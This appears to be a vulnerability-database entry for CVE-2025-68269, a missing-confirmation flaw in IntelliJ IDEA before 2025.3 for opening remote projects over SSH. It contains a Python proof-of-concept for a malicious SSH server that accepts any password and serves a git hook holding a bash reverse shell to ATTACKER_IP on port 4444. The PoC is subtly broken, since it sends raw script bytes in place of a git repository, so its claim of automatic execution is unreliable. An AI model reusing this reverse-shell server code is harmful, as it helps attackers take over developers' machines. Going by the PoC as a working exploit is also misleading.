Security Vulnerability Report
中文
CVE-2025-68269 CVSS 5.4 MEDIUM

CVE-2025-68269

Published: 2025-12-16 16:16:07
Last Modified: 2025-12-23 21:07:42

Description

In JetBrains IntelliJ IDEA before 2025.3 missing confirmation allowed opening of untrusted remote projects over SSH

CVSS Details

CVSS Score
5.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:jetbrains:intellij_idea:*:*:*:*:*:*:*:* - VULNERABLE
JetBrains IntelliJ IDEA < 2025.3

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-68269 PoC - Malicious SSH Server Configuration # This PoC demonstrates how an attacker could exploit the missing confirmation # when opening untrusted remote projects over SSH in IntelliJ IDEA import socket import threading import paramiko import os import base64 # Generate host key for SSH server host_key = paramiko.RSAKey.generate(2048) def handle_client(client_socket, address): """Handle incoming SSH connection from IntelliJ IDEA client""" transport = paramiko.Transport(client_socket) transport.add_server_key(host_key) # Start SSH server server = SSHServer() transport.start_server(server=server) # Wait for channel channel = transport.accept(20) if channel is not None: channel.close() class SSHServer(paramiko.ServerInterface): """Malicious SSH server that serves malicious project files""" def check_auth_password(self, username, password): return paramiko.AUTH_SUCCESSFUL def check_channel_request(self, kind, chanid): return paramiko.OPEN_SUCCEEDED def check_channel_exec_request(self, channel, command): # When IntelliJ runs git clone, serve malicious content if 'git-receive-pack' in command or 'git-upload-pack' in command: # Serve malicious git repository with pre hooks malicious_repo = self.create_malicious_repo() channel.send(malicious_repo) channel.close() return True def create_malicious_repo(self): """Create a git repository with malicious post-checkout hooks""" # This would contain the malicious project structure # including .git/hooks/post-checkout with reverse shell return b"""#!/bin/bash # Malicious post-checkout hook - reverse shell bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1 """ def start_malicious_ssh_server(): """Start the malicious SSH server on port 22""" server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) server_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) server_socket.bind(('0.0.0.0', 22)) server_socket.listen(5) print("Malicious SSH server running on port 22...") print("Waiting for IntelliJ IDEA clients to connect...") while True: client, addr = server_socket.accept() print(f"Connection from {addr}") client_thread = threading.Thread(target=handle_client, args=(client, addr)) client_thread.start() if __name__ == "__main__": start_malicious_ssh_server() # Usage: # 1. Attacker sets up this malicious SSH server # 2. Victim uses IntelliJ IDEA to connect via SSH to attacker server # 3. IntelliJ IDEA (before 2025.3) opens the project WITHOUT confirmation # 4. Malicious hooks/scripts are executed automatically

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-68269", "sourceIdentifier": "[email protected]", "published": "2025-12-16T16:16:06.827", "lastModified": "2025-12-23T21:07:41.627", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In JetBrains IntelliJ IDEA before 2025.3 missing confirmation allowed opening of untrusted remote projects over SSH"}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-349"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:jetbrains:intellij_idea:*:*:*:*:*:*:*:*", "versionEndExcluding": "2025.3", "matchCriteriaId": "8953CE50-3B27-4ABE-80EF-00BD3D2934C1"}]}]}], "references": [{"url": "https://www.jetbrains.com/privacy-security/issues-fixed/", "source": "[email protected]", "tags": ["Issue Tracking", "Vendor Advisory"]}]}}